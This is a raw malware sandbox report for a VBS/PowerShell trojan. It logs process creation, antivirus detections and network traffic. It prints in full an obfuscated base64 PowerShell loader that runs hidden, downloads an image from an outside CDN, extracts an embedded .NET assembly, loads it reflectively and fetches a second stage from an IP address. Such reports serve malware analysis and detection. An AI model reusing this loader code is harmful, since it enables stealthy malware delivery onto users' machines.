$codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2656
thread_handle: 0x000002e8
process_identifier: 2652
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f0
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2772
thread_handle: 0x00000448
process_identifier: 2768
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/universo_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Kaspersky HEUR:Trojan.Script.Generic
NANO-Antivirus Trojan.Script.Vbs-heuristic.druvzi
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent rndÀj¦;Bióô2ñ÷ib Š_¾———åµA®m·8„W/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
Data sent rndÀj¦ʅp:Fy궧ïLá”N[tð~¶ms)?/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

 buffer: rndÀj¦;Bióô2ñ÷ib Š_¾———åµA®m·8„W/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
socket: 1444
sent: 119
1 119 0

send

 buffer: rndÀj¦ʅp:Fy궧ïLá”N[tð~¶ms)?/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
socket: 1444
sent: 119
1 119 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
